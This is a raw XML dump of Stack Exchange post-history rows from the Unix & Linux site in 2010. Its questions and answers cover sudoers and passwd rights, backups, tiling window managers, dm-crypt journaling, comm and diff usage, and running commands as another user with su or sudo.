  <row Id="2039" PostHistoryTypeId="5" PostId="1050" RevisionGUID="0b342812-879c-478a-b935-3c2f690991a3" CreationDate="2010-08-23T13:45:56.473" UserId="250" Comment="added 36 characters in body" Text="Maybe you can add this line to the sudoer file (using `visudo`), replacing `phunehehe` with the username.&#xD;&#xA;&#xD;&#xA;    phunehehe localhost = NOPASSWD: /usr/bin/passwd&#xD;&#xA;I don't know if that breaks your condition of a &quot;normal user&quot;, though, because after that he/she has so much power.&#xD;&#xA;&#xD;&#xA;EDIT: as per xenoterracide's comment :)" />
  <row Id="2040" PostHistoryTypeId="2" PostId="1069" RevisionGUID="28818b86-2278-4d4e-b142-dbd9baa4d216" CreationDate="2010-08-23T13:46:16.080" UserId="850" Text="It depends on what you mean by &quot;user-generated&quot;. Most of the configuration you will have are about services/daemons and applications running on your system. Most of them put their configuration in /etc. The user-based applications have their configuration in your home directory (usually in a &lt;dot&gt;application directory).&#xD;&#xA;But you can have some applications that also store their data in /var/lib or /var/spool.&#xD;&#xA;&#xD;&#xA;So the answer, is: &quot;it depends on what you're running on your machine&quot;." />
  <row Id="2041" PostHistoryTypeId="2" PostId="1070" RevisionGUID="6a5b821f-090b-4bc4-9878-2d2e1e030e4c" CreationDate="2010-08-23T13:48:57.293" UserId="1126" Text="there are few out there, but there's one that sticks out (too me) which I found suited my needs&#xD;&#xA;&#xD;&#xA; - it was not just configured in a nice language, but was also programed in it (Python)&#xD;&#xA; - the ability to make my own layouts (which I found `awesome` didn't do)&#xD;&#xA; - light weight even though it's programmed in a dynamic language, (just 6.6MB of ram)&#xD;&#xA;&#xD;&#xA;the name was [Qtile](http://qtile.org/)&#xD;&#xA;&#xD;&#xA;come join us on the IRC channel we'll be welcome to help you out&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2042" PostHistoryTypeId="2" PostId="1071" RevisionGUID="d8a4ba45-cd59-4af1-b5b1-55ef47d69f32" CreationDate="2010-08-23T13:53:01.077" UserId="160" Text="Threads are an integral part of the process and cannot be killed outside it.  There is the [pthread_kill](http://linux.die.net/man/3/pthread_kill) function but it only applies in the context of the thread itself.  From the docs at the link:&#xD;&#xA;&#xD;&#xA;&gt; Note that pthread_kill() only causes&#xD;&#xA;&gt; the signal to be handled in the&#xD;&#xA;&gt; context of the given thread; **the&#xD;&#xA;&gt; signal action (termination or&#xD;&#xA;&gt; stopping) affects the process as a&#xD;&#xA;&gt; whole.**" />
  <row Id="2043" PostHistoryTypeId="2" PostId="1072" RevisionGUID="2f801351-4fca-40a8-8755-b7d08f05617c" CreationDate="2010-08-23T13:58:29.473" UserId="1136" Text="I have an LTSP server in a network that requires 802.1x authentication. Is it possible to boot the terminals through PXE without disabling the 802.1x authentication? If not, are there alternatives to simply disabling auth for the terminals?" />
  <row Id="2044" PostHistoryTypeId="1" PostId="1072" RevisionGUID="2f801351-4fca-40a8-8755-b7d08f05617c" CreationDate="2010-08-23T13:58:29.473" UserId="1136" Text="Is PXE in a 802.1x network for LTSP possible?" />
  <row Id="2045" PostHistoryTypeId="3" PostId="1072" RevisionGUID="2f801351-4fca-40a8-8755-b7d08f05617c" CreationDate="2010-08-23T13:58:29.473" UserId="1136" Text="élinuxàénetworkingà" />
  <row Id="2046" PostHistoryTypeId="2" PostId="1073" RevisionGUID="c8629f55-150f-4069-8a6f-de09cef6ef74" CreationDate="2010-08-23T14:00:13.917" UserId="29" Text="You'll be backing up some 'garbage' doing this... but if you just backup all of `/home`, `/etc`, and `/var/` you should have everything (unless you know you put something somewhere else). You'll want to leave out `/var/tmp`, `/var/run/`, `/var/lock` for sure. After that I'd read [Luc][1]'s reply.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/850/luc-stepniewski" />
  <row Id="2047" PostHistoryTypeId="2" PostId="1074" RevisionGUID="d2b2f085-4a5b-4ea5-955b-d5db16796fb0" CreationDate="2010-08-23T14:04:49.680" UserId="606" Text="Have a look at [awesome][1], name says it all. :-) The [awesome wiki][2] has lots of configuration advice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://awesome.naquadah.org/&#xD;&#xA;  [2]: http://awesome.naquadah.org/wiki/Main_Page" />
  <row Id="2048" PostHistoryTypeId="2" PostId="1075" RevisionGUID="e38c6b24-5a92-4e4e-869e-df10e916f26c" CreationDate="2010-08-23T14:07:46.990" UserId="160" Text="In short, you want to backup `/home` (generally where user-generated files reside), `/etc` and `/usr/local`.  The last two will backup your configuration files.  I would recommend using some backup software like [sbackup](http://sourceforge.net/projects/sbackup/) which does what you need and is easy to use." />
  <row Id="2049" PostHistoryTypeId="2" PostId="1076" RevisionGUID="18fb3708-7d17-4036-9b5c-9a438fdc2de1" CreationDate="2010-08-23T14:10:07.890" UserId="880" Text="Picking up on a comment of yours to another answer&#xD;&#xA;&#xD;&#xA;&gt; but linux is about freedom, including freedom to destroy your own data, privacy and security&#xD;&#xA;&#xD;&#xA;Even forcing people through `sudo`, Linux offers this freedom. The whole security argument that you want to shun is there to protect you from things are *aren't* you (read: malicious programs or programs controlled by malicious people).&#xD;&#xA;&#xD;&#xA;Think of it as a seatbelt. Takes a second to use. Could save your life from other idiots out there (as well as yourself).&#xD;&#xA;&#xD;&#xA;If you don't want to type your password all the time, `sudoedit /etc/sudoers` but if you keep running as root, one day you're probably going to run something that nukes your system and all your data.&#xD;&#xA;&#xD;&#xA;If you're happy knowing that even something as crappy as Flash could reformat your computer,  nobody here cares what you do. Run as root." />
  <row Id="2050" PostHistoryTypeId="2" PostId="1077" RevisionGUID="57947b07-a7a6-4e68-b26e-d0dcc992fd84" CreationDate="2010-08-23T14:13:05.280" UserId="29" Text="Why not run [Damn Vulnerable Linux][1] as your main system while you're at it. If you're going to ignore system security you might as well ignore all of it...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnvulnerablelinux.org/" />
  <row Id="2051" PostHistoryTypeId="2" PostId="1078" RevisionGUID="6b0e2dbc-dcdd-48bc-b847-8a9a39622524" CreationDate="2010-08-23T14:29:36.243" UserId="1138" Text="Hi,&#xD;&#xA;&#xD;&#xA;I was looking at dm-crypt and have seen that you can use whatever file-system you like on top of the encrypted drive. So I was wondering if a journaled filesystem is a good idea as opposed to a non-journaled filesystem? And what filesystem would be best to deal with power failures with an encrypted drive?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="2052" PostHistoryTypeId="1" PostId="1078" RevisionGUID="6b0e2dbc-dcdd-48bc-b847-8a9a39622524" CreationDate="2010-08-23T14:29:36.243" UserId="1138" Text="Is a journaling filesystem a good idea with an dm-crypt encrypted drive?" />
  <row Id="2053" PostHistoryTypeId="3" PostId="1078" RevisionGUID="6b0e2dbc-dcdd-48bc-b847-8a9a39622524" CreationDate="2010-08-23T14:29:36.243" UserId="1138" Text="éfilesystemsàéencryptionà" />
  <row Id="2054" PostHistoryTypeId="2" PostId="1079" RevisionGUID="9ceca66c-e05b-4e2c-acef-ccc2d9d25e3e" CreationDate="2010-08-23T14:45:51.173" UserId="1131" Text="Diff is a great tool to display the changes between two files. But how to display the similarities of two text files (while ignoring the differences)?&#xD;&#xA;&#xD;&#xA;I.e. sample input:&#xD;&#xA;&#xD;&#xA;    a:&#xD;&#xA;    Foo Bar&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;    42&#xD;&#xA;&#xD;&#xA;    b:&#xD;&#xA;    Foo Baz&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;    23&#xD;&#xA;&#xD;&#xA;Pseudo output (something like this):&#xD;&#xA;&#xD;&#xA;    @@ 2,3&#xD;&#xA;    =Hello World&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2055" PostHistoryTypeId="1" PostId="1079" RevisionGUID="9ceca66c-e05b-4e2c-acef-ccc2d9d25e3e" CreationDate="2010-08-23T14:45:51.173" UserId="1131" Text="Ouput the common lines (similarities) of two text files (the opposite of diff)?" />
  <row Id="2056" PostHistoryTypeId="3" PostId="1079" RevisionGUID="9ceca66c-e05b-4e2c-acef-ccc2d9d25e3e" CreationDate="2010-08-23T14:45:51.173" UserId="1131" Text="écommandölineàéshellàédiffà" />
  <row Id="2057" PostHistoryTypeId="2" PostId="1080" RevisionGUID="f4625542-e241-433b-9b1a-862566cab372" CreationDate="2010-08-23T14:45:53.683" UserId="171" Text="I have a HP Visualize C3000 from around 1999/2000, it was given to me last week. I have no reason to run it other than to tinker. &#xD;&#xA;&#xD;&#xA; - PA8500 400mhz processor&#xD;&#xA; - 2Gb Ram&#xD;&#xA; - SCSI HDD &#xD;&#xA; - Linux Debian 2.6.26-2-parisc &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;     # cat /proc/cpuinfo&#xD;&#xA;        processor	: 0&#xD;&#xA;        cpu family	: PA-RISC 2.0&#xD;&#xA;        cpu		: PA8500 (PCX-W)&#xD;&#xA;        cpu MHz		: 400.000000&#xD;&#xA;        model		: 9000/785/C3000&#xD;&#xA;        model name	: AllegroHigh W&#xD;&#xA;        hversion	: 0x00005bb0&#xD;&#xA;        sversion	: 0x00000481&#xD;&#xA;        I-cache		: 512 KB&#xD;&#xA;        D-cache		: 1024 KB (WB, direct mapped)&#xD;&#xA;        ITLB entries	: 160&#xD;&#xA;        DTLB entries	: 160 - shared with ITLB&#xD;&#xA;        BTLB		: not supported&#xD;&#xA;        bogomips	: 798.72&#xD;&#xA;        software id	: 2014670675&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2058" PostHistoryTypeId="5" PostId="1068" RevisionGUID="f3346593-9da4-4c60-a2e5-386c7c47bdd5" CreationDate="2010-08-23T14:46:55.383" UserId="73" Comment="deleted 26 characters in body; edited title" Text="I've used GNOME's default window manager for some years, but now I want to try a tiling window manager. &#xD;&#xA;&#xD;&#xA;I want it to satisfy these two criteria:&#xD;&#xA;&#xD;&#xA;1. WM must be lightweight&#xD;&#xA;&#xD;&#xA;2. WM should not be complicated to configure&#xD;&#xA;" />
  <row Id="2059" PostHistoryTypeId="4" PostId="1068" RevisionGUID="f3346593-9da4-4c60-a2e5-386c7c47bdd5" CreationDate="2010-08-23T14:46:55.383" UserId="73" Comment="deleted 26 characters in body; edited title" Text="Need advice in choosing a tiling WM" />
  <row Id="2060" PostHistoryTypeId="2" PostId="1081" RevisionGUID="6c5da49f-59e0-43fe-878c-8159ef81a036" CreationDate="2010-08-23T14:52:31.330" UserId="880" Text="`comm` can be used. `man comm` for all the options but you'll want to use `comm -12 ...` to show only lines that exist in both inputs." />
  <row Id="2061" PostHistoryTypeId="5" PostId="1046" RevisionGUID="17d710d9-829b-4eef-96f2-32c88f3159a0" CreationDate="2010-08-23T14:56:19.090" UserId="1026" Comment="added 158 characters in body" Text="Please do not ask why, but is it possible to do it? &#xD;&#xA;&#xD;&#xA;p/s: I know it's not a good thing, let's just say someone from the top management who is computer illiterate want some sort of *control* over the server." />
  <row Id="2062" PostHistoryTypeId="2" PostId="1082" RevisionGUID="f28fc743-355f-46e8-95a7-e972ff1123d9" CreationDate="2010-08-23T14:56:47.500" UserId="73" Text="&quot;Complicated to configure&quot; varies greatly depending on what languages you're proficient in. XMonad was extraordinarily complicated for me to configure, but that was because I know absolutely no Haskell, and that's the language the configurations are in.&#xD;&#xA;&#xD;&#xA;The two tiling window managers I've used and quite liked are:&#xD;&#xA;&#xD;&#xA;* [Awesome](http://awesome.naquadah.org/). Awesome configurations are in Lua (as of awesome 3; before that they were in a custom syntax), but it's quite easy to configure and comes with a bunch of widgets; here's a screenshot of what my bar looked like at one point (there's also a graph widget, although I wasn't using it at the time):&#xD;&#xA;&#xD;&#xA;    ![Screenshot of my awesome bar](http://lug.rose-hulman.edu/mw/images/a/ae/Awesome3bar_top.png)&#xD;&#xA;&#xD;&#xA;    The main reason I stopped using Awesome was the constant backwards-compatibility breaks; every point revision changed the API enough that I needed to spend days trying to fix my configuration file to work with it. It's possible that's stabilized more now&#xD;&#xA;&#xD;&#xA;* [wmii](http://wmii.suckless.org/), my current WM. Configurations by default are in shell scripts, but can be done any way you like as wmii exposes a 9p interface, which means you control it by reading and writing to files on a pseudo-filesystem. My current configuration is a shell script for the main configuration with a python utility script to do some of the work. The main downside is a lack of built-in widgets; it doesn't come with progress bars or  graphs or icons. It's certainly &quot;lightweight&quot; though, which was one of your requirements" />
  <row Id="2063" PostHistoryTypeId="5" PostId="1079" RevisionGUID="bb55008b-4682-4113-aa08-df82cfbc14d1" CreationDate="2010-08-23T15:04:12.210" UserId="1131" Comment="extended example to be more specific" Text="Diff is a great tool to display the changes between two files. But how to display the similarities of two text files (while ignoring the differences)?&#xD;&#xA;&#xD;&#xA;I.e. sample input:&#xD;&#xA;&#xD;&#xA;    a:&#xD;&#xA;    Foo Bar&#xD;&#xA;    X&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;    42&#xD;&#xA;&#xD;&#xA;    b:&#xD;&#xA;    Foo Baz&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;    23&#xD;&#xA;&#xD;&#xA;Pseudo output (something like this):&#xD;&#xA;&#xD;&#xA;    @@ 2,3&#xD;&#xA;    =Hello World&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2064" PostHistoryTypeId="2" PostId="1083" RevisionGUID="1b9329b1-41c0-43e7-a82b-9bdbeeefc6c4" CreationDate="2010-08-23T15:12:47.080" UserId="273" Text="I can't see any great problem logging in as root for a normal session, as long as you don't do anything stupid.&#xD;&#xA;&#xD;&#xA;I don't do it personally, because, occasionally I do something silly. I have never noticed that anything stupid I've done has been potentially a big problem, but I am not arrogant enough to think that I'd *never* do anything *really* stupid." />
  <row Id="2065" PostHistoryTypeId="2" PostId="1084" RevisionGUID="f8de0cf9-f29a-4b22-ae7a-b45cef528f15" CreationDate="2010-08-23T15:14:02.663" UserId="281" Text="Journaling is a technique that helps dealing with problems that occur when multi-write operations are interrupted, leaving the file system in an inconsistent state between writes.&#xD;&#xA;&#xD;&#xA;Such interruptions can happen with &quot;normal&quot; block devices and dm-crypt block devices alike. For a file system, a block device is a block device. Block device encryption and file system journaling are completely separate concerns." />
  <row Id="2066" PostHistoryTypeId="5" PostId="1081" RevisionGUID="3ab6fc87-1f40-4980-966d-ad2b1fb61494" CreationDate="2010-08-23T15:15:57.187" UserId="880" Comment="added 81 characters in body" Text="`comm` can be used. `man comm` for all the options but you'll want to use `comm -12 ...` to show only lines that exist in both inputs.&#xD;&#xA;&#xD;&#xA;As people have pointed out, you need to pass your input through `sort` first." />
  <row Id="2067" PostHistoryTypeId="2" PostId="1085" RevisionGUID="1d87e9a5-f0bf-40bf-bc8d-744e7f1edcec" CreationDate="2010-08-23T15:16:27.233" UserId="102" Text="I don't think there is a single command that does what you want it to do. You can try to combine the output of `diff` with `grep`, though. If your text files contain none of the characters `|`,`&lt;`,`&gt;`, the following gives you somewhat useful output:&#xD;&#xA;&#xD;&#xA;    $ diff --side-by-side a b | grep -n -v &quot;[|&lt;&gt;]&quot;&#xD;&#xA;    3:Hello								Hello&#xD;&#xA;    4:World								World" />
  <row Id="2068" PostHistoryTypeId="5" PostId="1084" RevisionGUID="791e6849-d7f0-463d-a415-06eff7c5f443" CreationDate="2010-08-23T15:20:07.590" UserId="281" Comment="added 22 characters in body" Text="Journaling is a technique that helps with recovery from problems that occur when multi-write operations are interrupted. Such interruptions can leave the file system in an inconsistent state between writes.&#xD;&#xA;&#xD;&#xA;Interruptions can happen with &quot;normal&quot; block devices and dm-crypt block devices alike. For a file system, a block device is a block device. Block device encryption and file system journaling are completely separate concerns." />
  <row Id="2069" PostHistoryTypeId="5" PostId="1079" RevisionGUID="5d39ced3-b2b9-4751-8cac-aa4bc91370de" CreationDate="2010-08-23T15:20:43.330" UserId="1131" Comment="note about sorting" Text="Diff is a great tool to display the changes between two files. But how to display the similarities of two text files (while ignoring the differences)?&#xD;&#xA;&#xD;&#xA;I.e. sample input:&#xD;&#xA;&#xD;&#xA;    a:&#xD;&#xA;    Foo Bar&#xD;&#xA;    X&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;    42&#xD;&#xA;&#xD;&#xA;    b:&#xD;&#xA;    Foo Baz&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;    23&#xD;&#xA;&#xD;&#xA;Pseudo output (something like this):&#xD;&#xA;&#xD;&#xA;    @@ 2,3&#xD;&#xA;    =Hello World&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Just sorting both files and using comm is not enough, because in that case the line information is lost." />
  <row Id="2070" PostHistoryTypeId="2" PostId="1086" RevisionGUID="5f6146c4-9bb1-4cdc-a669-d69e81165424" CreationDate="2010-08-23T15:30:41.127" UserId="62" Text="I installed redhat 5 on my 486 $many years ago.&#xD;&#xA;&#xD;&#xA;Oldest machine I have running currently (openbsd at the moment) is an old grey dell optiplex I found in a plie of scrap at the University I went to. It's been running as my network router/firewall/wireless bridge/DNS server for three years now.&#xD;&#xA;&#xD;&#xA;    OpenBSD 4.7 (GENERIC) #558: Wed Mar 17 20:46:15 MDT 2010&#xD;&#xA;        deraadt@i386.openbsd.org:/usr/src/sys/arch/i386/compile/GENERIC&#xD;&#xA;    cpu0: Intel Celeron (&quot;GenuineIntel&quot; 686-class, 128KB L2 cache) 399 MHz&#xD;&#xA;    real mem  = 265568256 (253MB)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2071" PostHistoryTypeId="16" PostId="1086" RevisionGUID="5f6146c4-9bb1-4cdc-a669-d69e81165424" CreationDate="2010-08-23T15:30:41.127" UserId="62" />
  <row Id="2072" PostHistoryTypeId="2" PostId="1087" RevisionGUID="f09b8953-3942-4ea7-bf55-7cc841e2ff7e" CreationDate="2010-08-23T15:42:24.517" UserId="430" Text="I was wondering if i want to run a command as another user from a script.&#xD;&#xA;&#xD;&#xA;I have the script's owner set as root. I also have the following command being run within the script to run the comamnd as the hudson user. &#xD;&#xA;&#xD;&#xA;    su -c command hudson&#xD;&#xA;&#xD;&#xA;Is this the correct syntax?" />
  <row Id="2073" PostHistoryTypeId="1" PostId="1087" RevisionGUID="f09b8953-3942-4ea7-bf55-7cc841e2ff7e" CreationDate="2010-08-23T15:42:24.517" UserId="430" Text="su options - running command as another user." />
  <row Id="2074" PostHistoryTypeId="3" PostId="1087" RevisionGUID="f09b8953-3942-4ea7-bf55-7cc841e2ff7e" CreationDate="2010-08-23T15:42:24.517" UserId="430" Text="ébashàéscriptingà" />
  <row Id="2075" PostHistoryTypeId="2" PostId="1088" RevisionGUID="9badc74c-0260-4e05-a623-fe5de678796a" CreationDate="2010-08-23T15:46:02.470" UserId="880" Text="Yes. Here's the `--help`:&#xD;&#xA;&#xD;&#xA;    oli@bert:~$ su --help&#xD;&#xA;    Usage: su [options] [LOGIN]&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;      -c, --command COMMAND         pass COMMAND to the invoked shell&#xD;&#xA;      -h, --help                    display this help message and exit&#xD;&#xA;      -, -l, --login                make the shell a login shell&#xD;&#xA;      -m, -p,&#xD;&#xA;      --preserve-environment        do not reset environment variables, and&#xD;&#xA;                                    keep the same shell&#xD;&#xA;      -s, --shell SHELL             use SHELL instead of the default in passwd&#xD;&#xA;&#xD;&#xA;And some testing (I used `sudo` as I don't know the password for the `nobody` account)&#xD;&#xA;&#xD;&#xA;    oli@bert:~$ sudo su -c whoami nobody&#xD;&#xA;    [sudo] password for oli: &#xD;&#xA;    nobody&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2076" PostHistoryTypeId="2" PostId="1089" RevisionGUID="4320910f-662c-48ad-aab0-29f7b49e0da7" CreationDate="2010-08-23T16:06:50.233" UserId="73" Text="Note: &quot;I have the script's owner set as root&quot; doesn't do anything; even if you have the setuid bit set it [still doesn't work](http://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Assuming you're actually running the script as root, however, you can use `sudo`. `su` is primarily for switching users, while `sudo` is for executing commands as other users. The `-u` flag lets you specify which user to execute the command as:&#xD;&#xA;&#xD;&#xA;    sudo -u hudson command" />
  <row Id="2077" PostHistoryTypeId="5" PostId="1087" RevisionGUID="fdc9686c-b726-4b3b-b7bf-dec30fe090db" CreationDate="2010-08-23T16:08:04.103" UserId="73" Comment="deleted 5 characters in body; edited tags" Text="I was wondering how to run a command as another user from a script.&#xD;&#xA;&#xD;&#xA;I have the script's owner set as root. I also have the following command being run within the script to run the command as the hudson user:&#xD;&#xA;&#xD;&#xA;    su -c command hudson&#xD;&#xA;&#xD;&#xA;Is this the correct syntax?&#xD;&#xA;" />
  <row Id="2078" PostHistoryTypeId="6" PostId="1087" RevisionGUID="fdc9686c-b726-4b3b-b7bf-dec30fe090db" CreationDate="2010-08-23T16:08:04.103" UserId="73" Comment="deleted 5 characters in body; edited tags" Text="ébashàéscriptingàésuàésudoà" />
  <row Id="2079" PostHistoryTypeId="2" PostId="1090" RevisionGUID="e3223552-6c65-4a02-80c5-b7b9a6f3dddd" CreationDate="2010-08-23T16:08:51.090" UserId="203" Text="[Linux Device Drivers][1] is another good resource.  It would give you another way to get into the inner workings.  From the preface:&#xD;&#xA;&#xD;&#xA;&gt; This is, on the surface, a book about&#xD;&#xA;&gt; writing device drivers for the Linux&#xD;&#xA;&gt; system. That is a worthy goal, of&#xD;&#xA;&gt; course; the flow of new hardware&#xD;&#xA;&gt; products is not likely to slow down&#xD;&#xA;&gt; anytime soon, and somebody is going to&#xD;&#xA;&gt; have to make all those new gadgets&#xD;&#xA;&gt; work with Linux. But this book is also&#xD;&#xA;&gt; about how the Linux kernel works and&#xD;&#xA;&gt; how to adapt its workings to your&#xD;&#xA;&gt; needs or interests. Linux is an open&#xD;&#xA;&gt; system; with this book, we hope, it is&#xD;&#xA;&gt; more open and accessible to a larger&#xD;&#xA;&gt; community of developers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lwn.net/Kernel/LDD3/" />
  <row Id="2080" PostHistoryTypeId="2" PostId="1091" RevisionGUID="48bba6df-ed90-4926-af2a-404f9bd61f18" CreationDate="2010-08-23T16:39:18.103" UserId="39" Text="I personally use [Ratpoison][1] when I need a light weight tiling WM - The configuration worked pretty well out of box, and since I'm quite adjusted to using GNU Screen for many years the leap to Ratpoison wasn't very difficult. I've also been using [StumpWM][2] Which has been more active in development than Ratposion.&#xD;&#xA;&#xD;&#xA;[1]: http://www.nongnu.org/ratpoison/&#xD;&#xA;[2]: http://www.nongnu.org/stumpwm/" />
  <row Id="2081" PostHistoryTypeId="2" PostId="1092" RevisionGUID="f0c6c737-732a-4192-add3-f977d77ca7db" CreationDate="2010-08-23T16:44:20.513" UserId="39" Text="You might want to deploy something like [apf][1] which you'll be able to execute `apf -d 192.168.1.123` and `apf -u 192.168.1.123` to block and unblock respectively. In addition APF keeps it's blocks list local and will insert them into the iptables on each reboot.&#xD;&#xA;&#xD;&#xA;[1]: http://www.rfxn.com/projects/advanced-policy-firewall/" />
  <row Id="2082" PostHistoryTypeId="2" PostId="1093" RevisionGUID="57ffefb4-2aa9-45fe-863d-281e6d4522e6" CreationDate="2010-08-23T16:59:23.467" UserId="1094" Text="I've recently fallen into doing more work on LAMP servers, which is pretty new to me.  At first it wasn't a problem migrating my preference files, but as I've grown and learned more, my preferences and workflow has become more specific (and less portable*).  This morning I was asked to work on an old Red Hat 4 server and it's... it's just so old I don't know what to do with it.  Vim 6?  Everything installed through RPMForge?  Can't even install `tree` without having to add repositories?  No actual user accounts except root?  `/sbin/` and `/usr/sbin/` aren't even in the root user's path?  &#xD;&#xA;&#xD;&#xA;This thing was installed once and never modified.  Every installed package is from the ice age.  The first ice age.  &#xD;&#xA;&#xD;&#xA;So what do you do in this situation?  Should I even bother trying to work **on** on the server, or is there a better way to go about this?&#xD;&#xA;&#xD;&#xA;\* - really the only thing that broke is support for the Jellybeans color theme, and my usage of Vim tabs." />
  <row Id="2083" PostHistoryTypeId="1" PostId="1093" RevisionGUID="57ffefb4-2aa9-45fe-863d-281e6d4522e6" CreationDate="2010-08-23T16:59:23.467" UserId="1094" Text="How do you work with old servers?" />
  <row Id="2084" PostHistoryTypeId="3" PostId="1093" RevisionGUID="57ffefb4-2aa9-45fe-863d-281e6d4522e6" CreationDate="2010-08-23T16:59:23.467" UserId="1094" Text="élinuxàéadministrationà" />
  <row Id="2085" PostHistoryTypeId="2" PostId="1094" RevisionGUID="eddb3b05-6912-4632-97b2-569de1127ea3" CreationDate="2010-08-23T17:04:46.563" UserId="701" Text="Just found and answer, or at least a temporary fix to my problem; you can consider me a Linux n00b, so I'm not familiarized yet with the terms and subsystems available or how to tell what I'm actually running.&#xD;&#xA;&#xD;&#xA;simple answer: Disable desktop effects&#xD;&#xA;&#xD;&#xA;Long answer: I didn't even know compiz was my window manager!, I thought it was &quot;gnome&quot;, somewhere in the configuration I saw &quot;gnome-wm&quot; listed as the &quot;window manager&quot;, but I just found out that this is just a script to load the actual window manager&#xD;&#xA;&#xD;&#xA;There's also an environment variable WINDOWMANAGER=/usr/bin/gnome&#xD;&#xA;&#xD;&#xA;so I guess this raises more questions for me, how do I know which display/desktop manager, window manager, is actually active? well I actually know the display manager is gnome, because that was part of the installation&#xD;&#xA;&#xD;&#xA;anyway, for anyone else having the same problem, **open up the control center, go to &quot;look and feel&quot;, select &quot;Desktop effects&quot; and uncheck the box &quot;enable desktop effects&quot;**&#xD;&#xA;&#xD;&#xA;a quicker way to get to the same dialog is to run the command **simple-ccsm** (from the run application dialog, gnome-do, or the terminal).&#xD;&#xA;&#xD;&#xA;now, that (I think) I know that I have compiz as my window manager, I also tried going into the gconf-editor/apps/compiz/general/allscreens/options and set my shortcuts there, but that didn't work (did try logging out and back in again)" />
  <row Id="2086" PostHistoryTypeId="2" PostId="1095" RevisionGUID="698e47db-5165-45bd-8779-ae2c2e87e90b" CreationDate="2010-08-23T17:05:41.727" UserId="357" Text="Use the sysfs control files in /sys/class/gpio.  The following links will hopefully be useful to helping you get started:&#xD;&#xA;&#xD;&#xA;[http://www.avrfreaks.net/wiki/index.php/Documentation:Linux/GPIO][1]&#xD;&#xA;&#xD;&#xA;Have seen reports of this article on the Beagle Board also working with the mini2440:&#xD;&#xA;[http://blog.makezine.com/archive/2009/02/blinking_leds_with_the_beagle_board.html][2]&#xD;&#xA;&#xD;&#xA;In your Linux kernel documentation, look at [Documentation/gpio.txt][3] too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.avrfreaks.net/wiki/index.php/Documentation:Linux/GPIO&#xD;&#xA;  [2]: http://blog.makezine.com/archive/2009/02/blinking_leds_with_the_beagle_board.html&#xD;&#xA;  [3]: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob_plain;f=Documentation/gpio.txt;hb=HEAD" />
  <row Id="2087" PostHistoryTypeId="2" PostId="1096" RevisionGUID="89871f07-0050-4d22-a253-a938a5b288ad" CreationDate="2010-08-23T17:07:09.697" UserId="430" Text="I have a file that I need to eliminate everything after the first `;` on every line. As well as removing everything after that point as well. &#xD;&#xA;&#xD;&#xA;so a file like this:&#xD;&#xA;&#xD;&#xA;    sdfsdsdf;&#xD;&#xA;    fsdfsddf;sdfsd;&#xD;&#xA;&#xD;&#xA;Will result in this:&#xD;&#xA;&#xD;&#xA;    sdfsdsdf&#xD;&#xA;    fsdfsddf&#xD;&#xA;&#xD;&#xA;I have looked into grep and sed.  I would appreciate an answer incorporating either of these commands.&#xD;&#xA;&#xD;&#xA;Please and Thank you.&#xD;&#xA;" />
  <row Id="2088" PostHistoryTypeId="1" PostId="1096" RevisionGUID="89871f07-0050-4d22-a253-a938a5b288ad" CreationDate="2010-08-23T17:07:09.697" UserId="430" Text="grep -- removing text after delimiter token" />
  <row Id="2089" PostHistoryTypeId="3" PostId="1096" RevisionGUID="89871f07-0050-4d22-a253-a938a5b288ad" CreationDate="2010-08-23T17:07:09.697" UserId="430" Text="écommandölineàéscriptingàégrepà" />
  <row Id="2090" PostHistoryTypeId="2" PostId="1097" RevisionGUID="93df563a-dfb6-49db-b16c-578619a5952b" CreationDate="2010-08-23T17:15:24.487" UserId="39" Text="I typically use `awk` for things like this:&#xD;&#xA;&#xD;&#xA;`cat a.file | awk -F=&quot;;&quot; { print $1 }`&#xD;&#xA;&#xD;&#xA;That will take each line of a file and print the first group before the delimiter `-F`" />
  <row Id="2091" PostHistoryTypeId="2" PostId="1098" RevisionGUID="ddd4436c-5de5-45c6-8c2a-2097607aefb2" CreationDate="2010-08-23T17:20:43.963" UserId="351" Text="The tmux FAQ ( http://tmux.cvs.sourceforge.net/viewvc/tmux/tmux/FAQ ) explicitly advises against setting TERM to anything other than screen or screen-256color in your shell init file, so don't do it!&#xD;&#xA;&#xD;&#xA;Here's what I use:&#xD;&#xA;&#xD;&#xA;    ~$ which tmux&#xD;&#xA;    tmux: aliased to TERM=xterm-256color tmux&#xD;&#xA;&#xD;&#xA;and in in my .tmux.conf:&#xD;&#xA;&#xD;&#xA;    set -g default-terminal &quot;screen-256color&quot;&#xD;&#xA;&#xD;&#xA;Aliasing tmux to &quot;tmux -2&quot; should also do the trick.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2092" PostHistoryTypeId="2" PostId="1099" RevisionGUID="b60f905c-f034-4497-b27e-50e9cb3892db" CreationDate="2010-08-23T17:26:36.623" UserId="351" Text="If you know Haskell, definitely Xmonad! Ratpoison is also quite nice, but I like Xmonad's tiling algorithm better and workspaces are a big win IMO.&#xD;&#xA;" />
